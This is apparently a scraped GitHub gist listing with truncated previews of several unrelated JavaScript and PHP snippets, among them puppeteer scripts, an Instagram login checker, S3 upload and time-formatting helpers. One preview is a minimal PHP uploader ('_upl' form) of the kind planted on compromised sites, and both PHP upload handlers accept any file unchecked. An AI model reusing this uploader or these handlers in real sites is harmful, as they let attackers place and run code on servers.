From this repository : https://github.com/OpenCode/awesome-regex
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const cluster = await Cluster.launch({ | |
concurrency: Cluster.CONCURRENCY_CONTEXT, | |
maxConcurrency: 3, | |
puppeteerOptions: { | |
headless: true, | |
args: ['--no-sandbox'] | |
} | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header('Content-Type: application/json; charset=utf-8'); | |
header("Access-Control-Allow-Origin: *"); | |
header("Access-Control-Allow-Methods: PUT, GET, POST"); | |
$response = array(); | |
$upload_dir = 'uploads/'; | |
$server_url = 'http://127.0.0.1:8000'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?PHP | |
if(!empty($_FILES['uploaded_file'])) | |
{ | |
$path = "uploads/"; | |
$path = $path . basename( $_FILES['uploaded_file']['name']); | |
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) { | |
echo "The file ". basename( $_FILES['uploaded_file']['name']). | |
" has been uploaded"; | |
} else{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// start the node server by doing: `node insta_login_check.js` | |
const puppeteer = require('puppeteer'); | |
const delay = require('delay'); | |
const user = { | |
username: '[email protected]', | |
password: 'passw0rd', | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; | |
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; | |
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; }} | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var bigint = require( 'big-integer' ) | |
var lower = 'abcdefghijklmnopqrstuvwxyz'; | |
var upper = lower.toUpperCase(); | |
var numbers = '0123456789' | |
var ig_alphabet = upper + lower + numbers + '-_' | |
var bigint_alphabet = numbers + lower | |
function toShortcode( longid ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var FileTransfer = require('@remobile/react-native-file-transfer'); | |
var s3Conf = { | |
key: 'KEY', | |
bucket: 'BUCKET_NAME', | |
aws_url: 'https://BUCKET_NAME.REGION.amazonaws.com' | |
} | |
var guid = (function() { | |
function s4() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sec2time(timeInSeconds) { | |
var pad = function(num, size) { return ('000' + num).slice(size * -1); }, | |
time = parseFloat(timeInSeconds).toFixed(3), | |
hours = Math.floor(time / 60 / 60), | |
minutes = Math.floor(time / 60) % 60, | |
seconds = Math.floor(time - minutes * 60), | |
milliseconds = time.slice(-3); | |
return pad(hours, 2) + ':' + pad(minutes, 2) + ':' + pad(seconds, 2) + ',' + pad(milliseconds, 3); | |
} |
NewerOlder